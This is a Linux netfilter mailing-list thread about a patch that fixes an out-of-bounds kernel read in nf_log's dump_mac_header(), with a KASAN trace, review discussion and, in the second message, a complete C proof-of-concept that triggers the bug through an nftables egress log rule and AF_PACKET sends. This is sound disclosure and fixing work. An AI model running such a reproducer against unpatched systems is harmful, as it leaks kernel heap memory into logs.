* [PATCH nf] netfilter: nf_log: validate MAC header was set before dumping it
@ 2026-06-08 0:11 Xiang Mei
2026-06-08 0:59 ` Xiang Mei
2026-06-09 20:54 ` Pablo Neira Ayuso
0 siblings, 2 replies; 4+ messages in thread
From: Xiang Mei @ 2026-06-08 0:11 UTC (permalink / raw)
To: netfilter-devel
Cc: Pablo Neira Ayuso, Florian Westphal, Phil Sutter, davem, edumazet,
Jakub Kicinski, Paolo Abeni, coreteam, netdev, Weiming Shi,
Xiang Mei
The fallback path of dump_mac_header() guards the MAC header access
only with "skb->mac_header != skb->network_header", without checking
skb_mac_header_was_set(). When the MAC header is unset, mac_header is
0xffff, so the test passes and skb_mac_header(skb) returns
skb->head + 0xffff, ~64 KiB past the buffer; the loop then reads
dev->hard_header_len bytes out of bounds into the kernel log.
This is reachable via the netdev logger: nf_log_unknown_packet() calls
dump_mac_header() unconditionally, and an skb sent through AF_PACKET
with PACKET_QDISC_BYPASS reaches the egress hook with mac_header still
unset (__dev_queue_xmit(), which would reset it, is bypassed).
Add the skb_mac_header_was_set() check the ARPHRD_ETHER path already
uses. Only skbs with an unset MAC header are affected; valid ones are
dumped as before.
BUG: KASAN: slab-out-of-bounds in dump_mac_header (net/netfilter/nf_log_syslog.c:831)
Read of size 1 at addr ffff88800ea49d3f by task exploit/148
Call Trace:
kasan_report (mm/kasan/report.c:595)
dump_mac_header (net/netfilter/nf_log_syslog.c:831)
nf_log_netdev_packet (net/netfilter/nf_log_syslog.c:938 net/netfilter/nf_log_syslog.c:963)
nf_log_packet (net/netfilter/nf_log.c:260)
nft_log_eval (net/netfilter/nft_log.c:60)
nft_do_chain (net/netfilter/nf_tables_core.c:285)
nft_do_chain_netdev (net/netfilter/nft_chain_filter.c:307)
nf_hook_slow (net/netfilter/core.c:619)
nf_hook_direct_egress (net/packet/af_packet.c:257)
packet_xmit (net/packet/af_packet.c:280)
packet_sendmsg (net/packet/af_packet.c:3114)
__sys_sendto (net/socket.c:2265)
Fixes: 7eb9282cd0ef ("netfilter: ipt_LOG/ip6t_LOG: add option to print decoded MAC header")
Reported-by: Weiming Shi <bestswngs@gmail.com>
Assisted-by: Claude:claude-opus-4-8
Signed-off-by: Xiang Mei <xmei5@asu.edu>
---
net/netfilter/nf_log_syslog.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/net/netfilter/nf_log_syslog.c b/net/netfilter/nf_log_syslog.c
index 7a8952b049d1..ed5283fb6b67 100644
--- a/net/netfilter/nf_log_syslog.c
+++ b/net/netfilter/nf_log_syslog.c
@@ -815,7 +815,7 @@ static void dump_mac_header(struct nf_log_buf *m,
fallback:
nf_log_buf_add(m, "MAC=");
- if (dev->hard_header_len &&
+ if (dev->hard_header_len && skb_mac_header_was_set(skb) &&
skb->mac_header != skb->network_header) {
const unsigned char *p = skb_mac_header(skb);
unsigned int i;
--
2.43.0
^ permalink raw reply related [flat|nested] 4+ messages in thread
* Re: [PATCH nf] netfilter: nf_log: validate MAC header was set before dumping it
2026-06-08 0:11 [PATCH nf] netfilter: nf_log: validate MAC header was set before dumping it Xiang Mei
@ 2026-06-08 0:59 ` Xiang Mei
2026-06-09 20:54 ` Pablo Neira Ayuso
1 sibling, 0 replies; 4+ messages in thread
From: Xiang Mei @ 2026-06-08 0:59 UTC (permalink / raw)
To: netfilter-devel
Cc: Pablo Neira Ayuso, Florian Westphal, Phil Sutter, davem, edumazet,
Jakub Kicinski, Paolo Abeni, coreteam, netdev, Weiming Shi
On Sun, Jun 07, 2026 at 05:11:24PM -0700, Xiang Mei wrote:
> The fallback path of dump_mac_header() guards the MAC header access
> only with "skb->mac_header != skb->network_header", without checking
> skb_mac_header_was_set(). When the MAC header is unset, mac_header is
> 0xffff, so the test passes and skb_mac_header(skb) returns
> skb->head + 0xffff, ~64 KiB past the buffer; the loop then reads
> dev->hard_header_len bytes out of bounds into the kernel log.
>
> This is reachable via the netdev logger: nf_log_unknown_packet() calls
> dump_mac_header() unconditionally, and an skb sent through AF_PACKET
> with PACKET_QDISC_BYPASS reaches the egress hook with mac_header still
> unset (__dev_queue_xmit(), which would reset it, is bypassed).
>
> Add the skb_mac_header_was_set() check the ARPHRD_ETHER path already
> uses. Only skbs with an unset MAC header are affected; valid ones are
> dumped as before.
>
> BUG: KASAN: slab-out-of-bounds in dump_mac_header (net/netfilter/nf_log_syslog.c:831)
> Read of size 1 at addr ffff88800ea49d3f by task exploit/148
> Call Trace:
> kasan_report (mm/kasan/report.c:595)
> dump_mac_header (net/netfilter/nf_log_syslog.c:831)
> nf_log_netdev_packet (net/netfilter/nf_log_syslog.c:938 net/netfilter/nf_log_syslog.c:963)
> nf_log_packet (net/netfilter/nf_log.c:260)
> nft_log_eval (net/netfilter/nft_log.c:60)
> nft_do_chain (net/netfilter/nf_tables_core.c:285)
> nft_do_chain_netdev (net/netfilter/nft_chain_filter.c:307)
> nf_hook_slow (net/netfilter/core.c:619)
> nf_hook_direct_egress (net/packet/af_packet.c:257)
> packet_xmit (net/packet/af_packet.c:280)
> packet_sendmsg (net/packet/af_packet.c:3114)
> __sys_sendto (net/socket.c:2265)
>
> Fixes: 7eb9282cd0ef ("netfilter: ipt_LOG/ip6t_LOG: add option to print decoded MAC header")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Assisted-by: Claude:claude-opus-4-8
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
> net/netfilter/nf_log_syslog.c | 2 +-
> 1 file changed, 1 insertion(+), 1 deletion(-)
>
> diff --git a/net/netfilter/nf_log_syslog.c b/net/netfilter/nf_log_syslog.c
> index 7a8952b049d1..ed5283fb6b67 100644
> --- a/net/netfilter/nf_log_syslog.c
> +++ b/net/netfilter/nf_log_syslog.c
> @@ -815,7 +815,7 @@ static void dump_mac_header(struct nf_log_buf *m,
>
> fallback:
> nf_log_buf_add(m, "MAC=");
> - if (dev->hard_header_len &&
> + if (dev->hard_header_len && skb_mac_header_was_set(skb) &&
> skb->mac_header != skb->network_header) {
> const unsigned char *p = skb_mac_header(skb);
> unsigned int i;
> --
> 2.43.0
>
Thanks for your attention to this bug. Here are some tips for you to
reproduce the crash.
Configs:
```
CONFIG_NF_TABLES=y
CONFIG_NF_TABLES_NETDEV=y
CONFIG_NFT_LOG=y
CONFIG_NF_LOG_SYSLOG=y
CONFIG_NETFILTER_EGRESS=y
CONFIG_PACKET=y
CONFIG_KASAN=y
```
PoC:
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/netlink.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#ifndef PACKET_QDISC_BYPASS
#define PACKET_QDISC_BYPASS 20
#endif
#define DEV "eth0"
#define ETYPE 0x88b5
#define HLEN ((int)NLA_ALIGN(sizeof(struct nlattr)))
static void *nla(void *b, uint16_t t, const void *d, size_t l)
{
struct nlattr *a = b;
a->nla_type = t;
a->nla_len = HLEN + l;
if (l)
memcpy((char *)b + HLEN, d, l);
size_t tot = NLA_ALIGN(HLEN + l);
memset((char *)b + HLEN + l, 0, tot - HLEN - l);
return (char *)b + tot;
}
static void *nstr(void *b, uint16_t t, const char *s)
{
return nla(b, t, s, strlen(s) + 1);
}
static void *nbe(void *b, uint16_t t, uint32_t v)
{
v = htonl(v);
return nla(b, t, &v, 4);
}
static void *nbeg(void *b, uint16_t t)
{
struct nlattr *a = b;
a->nla_type = NLA_F_NESTED | t;
a->nla_len = HLEN;
return (char *)b + HLEN;
}
static void *nend(void *b, void *s)
{
struct nlattr *a = (void *)((char *)s - HLEN);
a->nla_len = HLEN + ((char *)b - (char *)s);
size_t pad = NLA_ALIGN(a->nla_len) - a->nla_len;
memset(b, 0, pad);
return (char *)b + pad;
}
static struct nlmsghdr *msg(void *b, uint16_t type, uint16_t flags,
uint32_t seq, uint8_t fam, void **cur)
{
struct nlmsghdr *h = b;
struct nfgenmsg *g;
h->nlmsg_type = type;
h->nlmsg_flags = NLM_F_REQUEST | flags;
h->nlmsg_seq = seq;
h->nlmsg_pid = 0;
g = (void *)((char *)h + NLMSG_HDRLEN);
g->nfgen_family = fam;
g->version = NFNETLINK_V0;
g->res_id = 0;
*cur = (char *)g + NLMSG_ALIGN(sizeof(*g));
return h;
}
static void mend(struct nlmsghdr *h, void *c)
{
h->nlmsg_len = (char *)c - (char *)h;
}
int main(void)
{
setbuf(stdout, NULL);
int s = socket(AF_INET, SOCK_DGRAM, 0);
struct ifreq ifr = { 0 };
strcpy(ifr.ifr_name, DEV);
ioctl(s, SIOCGIFFLAGS, &ifr);
ifr.ifr_flags |= IFF_UP;
ioctl(s, SIOCSIFFLAGS, &ifr);
close(s);
int nl = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
bind(nl, (void *)&sa, sizeof(sa));
uint8_t buf[4096], *p = buf;
void *c;
struct nlmsghdr *h;
memset(buf, 0, sizeof(buf));
h = msg(p, NFNL_MSG_BATCH_BEGIN, 0, 1, AF_UNSPEC, &c);
((struct nfgenmsg *)((char *)h + NLMSG_HDRLEN))->res_id =
htons(NFNL_SUBSYS_NFTABLES);
mend(h, c);
p += h->nlmsg_len;
h = msg(p, (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWTABLE,
NLM_F_CREATE | NLM_F_ACK, 2, NFPROTO_NETDEV, &c);
c = nstr(c, NFTA_TABLE_NAME, "t");
mend(h, c);
p += h->nlmsg_len;
h = msg(p, (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWCHAIN,
NLM_F_CREATE | NLM_F_ACK, 3, NFPROTO_NETDEV, &c);
c = nstr(c, NFTA_CHAIN_TABLE, "t");
c = nstr(c, NFTA_CHAIN_NAME, "c");
void *hk = nbeg(c, NFTA_CHAIN_HOOK);
hk = nbe(hk, NFTA_HOOK_HOOKNUM, NF_NETDEV_EGRESS);
hk = nbe(hk, NFTA_HOOK_PRIORITY, 0);
hk = nstr(hk, NFTA_HOOK_DEV, DEV);
c = nend(hk, (char *)c + HLEN);
c = nstr(c, NFTA_CHAIN_TYPE, "filter");
c = nbe(c, NFTA_CHAIN_POLICY, NF_ACCEPT);
mend(h, c);
p += h->nlmsg_len;
h = msg(p, (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWRULE,
NLM_F_CREATE | NLM_F_APPEND | NLM_F_ACK, 4, NFPROTO_NETDEV, &c);
c = nstr(c, NFTA_RULE_TABLE, "t");
c = nstr(c, NFTA_RULE_CHAIN, "c");
void *ex = nbeg(c, NFTA_RULE_EXPRESSIONS);
void *el = nbeg(ex, NFTA_LIST_ELEM);
el = nstr(el, NFTA_EXPR_NAME, "log");
void *dt = nbeg(el, NFTA_EXPR_DATA);
el = nend(dt, (char *)el + HLEN);
ex = nend(el, (char *)ex + HLEN);
c = nend(ex, (char *)c + HLEN);
mend(h, c);
p += h->nlmsg_len;
h = msg(p, NFNL_MSG_BATCH_END, 0, 5, AF_UNSPEC, &c);
((struct nfgenmsg *)((char *)h + NLMSG_HDRLEN))->res_id =
htons(NFNL_SUBSYS_NFTABLES);
mend(h, c);
p += h->nlmsg_len;
send(nl, buf, p - buf, 0);
usleep(100000);
int pk = socket(AF_PACKET, SOCK_DGRAM, htons(ETYPE));
int one = 1;
setsockopt(pk, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));
struct sockaddr_ll sll = { 0 };
sll.sll_family = AF_PACKET;
sll.sll_ifindex = if_nametoindex(DEV);
sll.sll_protocol = htons(ETYPE);
sll.sll_halen = ETH_ALEN;
memset(sll.sll_addr, 0xaa, ETH_ALEN);
uint8_t pl[64];
memset(pl, 0x41, sizeof(pl));
for (int i = 0; i < 64; i++)
sendto(pk, pl, sizeof(pl), 0, (void *)&sll, sizeof(sll));
usleep(100000);
puts("done");
return 0;
}
```
Feel free to let me know if you can't reproduce it.
Xiang
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH nf] netfilter: nf_log: validate MAC header was set before dumping it
2026-06-08 0:11 [PATCH nf] netfilter: nf_log: validate MAC header was set before dumping it Xiang Mei
2026-06-08 0:59 ` Xiang Mei
@ 2026-06-09 20:54 ` Pablo Neira Ayuso
2026-06-09 22:01 ` Xiang Mei
1 sibling, 1 reply; 4+ messages in thread
From: Pablo Neira Ayuso @ 2026-06-09 20:54 UTC (permalink / raw)
To: Xiang Mei
Cc: netfilter-devel, Florian Westphal, Phil Sutter, davem, edumazet,
Jakub Kicinski, Paolo Abeni, coreteam, netdev, Weiming Shi
On Sun, Jun 07, 2026 at 05:11:24PM -0700, Xiang Mei wrote:
> The fallback path of dump_mac_header() guards the MAC header access
> only with "skb->mac_header != skb->network_header", without checking
> skb_mac_header_was_set(). When the MAC header is unset, mac_header is
> 0xffff, so the test passes and skb_mac_header(skb) returns
> skb->head + 0xffff, ~64 KiB past the buffer; the loop then reads
> dev->hard_header_len bytes out of bounds into the kernel log.
>
> This is reachable via the netdev logger: nf_log_unknown_packet() calls
> dump_mac_header() unconditionally, and an skb sent through AF_PACKET
> with PACKET_QDISC_BYPASS reaches the egress hook with mac_header still
> unset (__dev_queue_xmit(), which would reset it, is bypassed).
>
> Add the skb_mac_header_was_set() check the ARPHRD_ETHER path already
> uses. Only skbs with an unset MAC header are affected; valid ones are
> dumped as before.
>
> BUG: KASAN: slab-out-of-bounds in dump_mac_header (net/netfilter/nf_log_syslog.c:831)
> Read of size 1 at addr ffff88800ea49d3f by task exploit/148
> Call Trace:
> kasan_report (mm/kasan/report.c:595)
> dump_mac_header (net/netfilter/nf_log_syslog.c:831)
> nf_log_netdev_packet (net/netfilter/nf_log_syslog.c:938 net/netfilter/nf_log_syslog.c:963)
> nf_log_packet (net/netfilter/nf_log.c:260)
> nft_log_eval (net/netfilter/nft_log.c:60)
> nft_do_chain (net/netfilter/nf_tables_core.c:285)
> nft_do_chain_netdev (net/netfilter/nft_chain_filter.c:307)
> nf_hook_slow (net/netfilter/core.c:619)
> nf_hook_direct_egress (net/packet/af_packet.c:257)
> packet_xmit (net/packet/af_packet.c:280)
> packet_sendmsg (net/packet/af_packet.c:3114)
> __sys_sendto (net/socket.c:2265)
>
> Fixes: 7eb9282cd0ef ("netfilter: ipt_LOG/ip6t_LOG: add option to print decoded MAC header")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Assisted-by: Claude:claude-opus-4-8
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
> net/netfilter/nf_log_syslog.c | 2 +-
> 1 file changed, 1 insertion(+), 1 deletion(-)
>
> diff --git a/net/netfilter/nf_log_syslog.c b/net/netfilter/nf_log_syslog.c
> index 7a8952b049d1..ed5283fb6b67 100644
> --- a/net/netfilter/nf_log_syslog.c
> +++ b/net/netfilter/nf_log_syslog.c
> @@ -815,7 +815,7 @@ static void dump_mac_header(struct nf_log_buf *m,
>
> fallback:
> nf_log_buf_add(m, "MAC=");
> - if (dev->hard_header_len &&
> + if (dev->hard_header_len && skb_mac_header_was_set(skb) &&
> skb->mac_header != skb->network_header) {
Maybe this instead?
+ skb_mac_header_was_set(skb) &&
+ skb_mac_header_len(skb) != 0) {
> const unsigned char *p = skb_mac_header(skb);
> unsigned int i;
> --
> 2.43.0
>
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH nf] netfilter: nf_log: validate MAC header was set before dumping it
2026-06-09 20:54 ` Pablo Neira Ayuso
@ 2026-06-09 22:01 ` Xiang Mei
0 siblings, 0 replies; 4+ messages in thread
From: Xiang Mei @ 2026-06-09 22:01 UTC (permalink / raw)
To: Pablo Neira Ayuso
Cc: netfilter-devel, Florian Westphal, Phil Sutter, davem, edumazet,
Jakub Kicinski, Paolo Abeni, coreteam, netdev, Weiming Shi
On Tue, Jun 09, 2026 at 10:54:41PM +0200, Pablo Neira Ayuso wrote:
> On Sun, Jun 07, 2026 at 05:11:24PM -0700, Xiang Mei wrote:
> > The fallback path of dump_mac_header() guards the MAC header access
> > only with "skb->mac_header != skb->network_header", without checking
> > skb_mac_header_was_set(). When the MAC header is unset, mac_header is
> > 0xffff, so the test passes and skb_mac_header(skb) returns
> > skb->head + 0xffff, ~64 KiB past the buffer; the loop then reads
> > dev->hard_header_len bytes out of bounds into the kernel log.
> >
> > This is reachable via the netdev logger: nf_log_unknown_packet() calls
> > dump_mac_header() unconditionally, and an skb sent through AF_PACKET
> > with PACKET_QDISC_BYPASS reaches the egress hook with mac_header still
> > unset (__dev_queue_xmit(), which would reset it, is bypassed).
> >
> > Add the skb_mac_header_was_set() check the ARPHRD_ETHER path already
> > uses. Only skbs with an unset MAC header are affected; valid ones are
> > dumped as before.
> >
> > BUG: KASAN: slab-out-of-bounds in dump_mac_header (net/netfilter/nf_log_syslog.c:831)
> > Read of size 1 at addr ffff88800ea49d3f by task exploit/148
> > Call Trace:
> > kasan_report (mm/kasan/report.c:595)
> > dump_mac_header (net/netfilter/nf_log_syslog.c:831)
> > nf_log_netdev_packet (net/netfilter/nf_log_syslog.c:938 net/netfilter/nf_log_syslog.c:963)
> > nf_log_packet (net/netfilter/nf_log.c:260)
> > nft_log_eval (net/netfilter/nft_log.c:60)
> > nft_do_chain (net/netfilter/nf_tables_core.c:285)
> > nft_do_chain_netdev (net/netfilter/nft_chain_filter.c:307)
> > nf_hook_slow (net/netfilter/core.c:619)
> > nf_hook_direct_egress (net/packet/af_packet.c:257)
> > packet_xmit (net/packet/af_packet.c:280)
> > packet_sendmsg (net/packet/af_packet.c:3114)
> > __sys_sendto (net/socket.c:2265)
> >
> > Fixes: 7eb9282cd0ef ("netfilter: ipt_LOG/ip6t_LOG: add option to print decoded MAC header")
> > Reported-by: Weiming Shi <bestswngs@gmail.com>
> > Assisted-by: Claude:claude-opus-4-8
> > Signed-off-by: Xiang Mei <xmei5@asu.edu>
> > ---
> > net/netfilter/nf_log_syslog.c | 2 +-
> > 1 file changed, 1 insertion(+), 1 deletion(-)
> >
> > diff --git a/net/netfilter/nf_log_syslog.c b/net/netfilter/nf_log_syslog.c
> > index 7a8952b049d1..ed5283fb6b67 100644
> > --- a/net/netfilter/nf_log_syslog.c
> > +++ b/net/netfilter/nf_log_syslog.c
> > @@ -815,7 +815,7 @@ static void dump_mac_header(struct nf_log_buf *m,
> >
> > fallback:
> > nf_log_buf_add(m, "MAC=");
> > - if (dev->hard_header_len &&
> > + if (dev->hard_header_len && skb_mac_header_was_set(skb) &&
> > skb->mac_header != skb->network_header) {
>
> Maybe this instead?
>
> + skb_mac_header_was_set(skb) &&
> + skb_mac_header_len(skb) != 0) {
Thanks for the quick reply to this patch.
The skb_mac_header_len is a combination of
1) `skb_mac_header_was_set(skb)` and
2) `skb->network_header - skb->mac_header`
However, we have skb_mac_header_was_set added in the
original patch, and we have `skb->network_header - skb->mac_header`
at the start of the fallback code block:
```
fallback:
nf_log_buf_add(m, "MAC=");
if (dev->hard_header_len &&
skb->mac_header != skb->network_header) {
...
```
So I think the original patch should be enough.
Xiang
>
> > const unsigned char *p = skb_mac_header(skb);
> > unsigned int i;
> > --
> > 2.43.0
> >
^ permalink raw reply [flat|nested] 4+ messages in thread
end of thread, other threads:[~2026-06-09 22:01 UTC | newest]
Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-06-08 0:11 [PATCH nf] netfilter: nf_log: validate MAC header was set before dumping it Xiang Mei
2026-06-08 0:59 ` Xiang Mei
2026-06-09 20:54 ` Pablo Neira Ayuso
2026-06-09 22:01 ` Xiang Mei
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox